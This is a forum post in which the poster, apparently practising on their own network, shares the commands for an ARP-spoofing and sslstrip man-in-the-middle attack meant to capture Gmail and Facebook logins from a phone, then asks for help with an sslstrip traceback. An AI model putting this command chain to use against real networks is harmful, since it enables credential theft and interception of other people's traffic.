Hopefully someone can offer some help as to what's going wrong.

I am doing some practising on my own network, and I cant seem to get all the way there, having tried various methods.

Setup as follows:

Laptop running Kali connected to home wifi on wlan0
Test "victim" - Samsung Galaxy S5 on

I am signing in and out of gmail and facebook on Firefox for Android as a test.

Firstly I tried using Yamas.

This worked, as I saw logs for a few URL's. but it didnt catch any actual login details, only the URLs.Plus it was very intermittent in what it caught (i.e I might log in and out of Gmail 5 tiimes but it would only show 1 of the attempts)

So then I killed it and thought I'd try it manually.

Here's what I did:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666
arpspoof -i wlan0 -t
arpspoof -i wlan0 -t
sslstrip -k -l 666 -f -w /root/Desktop/sslstrip.log

Thats it - I start logging in and out of gmail, facebook, and all I get when tailing the log is a few erraneous URL's.

On the sslstrip screen I get some errors though:

sslstrip 0.9 by Moxie Marlinspike running...
Unhandled Error
Traceback (most recent call last):
  File "/usr/bin/sslstrip", line 105, in main
  File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1169, in run
  File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 1181, in mainLoop
  File "/usr/lib/python2.7/dist-packages/twisted/internet/pollreactor.py", line 167, in doPoll
    log.callWithLogger(selectable, _drdw, selectable, fd, event)
--- <exception caught here> ---
  File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 84, in callWithLogger
    return callWithContext({"system": lp}, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/log.py", line 69, in callWithContext
    return context.call({ILogContext: newCtx}, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 118, in callWithContext
    return self.currentContext().callWithContext(ctx, func, *args, **kw)
  File "/usr/lib/python2.7/dist-packages/twisted/python/context.py", line 81, in callWithContext
    return func(*args,**kw)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 599, in _doReadOrWrite
    self._disconnectSelectable(selectable, why, inRead)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/posixbase.py", line 263, in _disconnectSelectable
  File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 433, in connectionLost
    Connection.connectionLost(self, reason)
  File "/usr/lib/python2.7/dist-packages/twisted/internet/tcp.py", line 277, in connectionLost
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 455, in connectionLost
  File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 119, in handleResponseEnd
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 466, in handleResponseEnd
  File "/usr/share/sslstrip/sslstrip/ServerConnection.py", line 133, in handleResponse
  File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 898, in write
    raise RuntimeError('Request.write called on a request after '
exceptions.RuntimeError: Request.write called on a request after Request.finish was called.
Any ideas?

Thanks in advance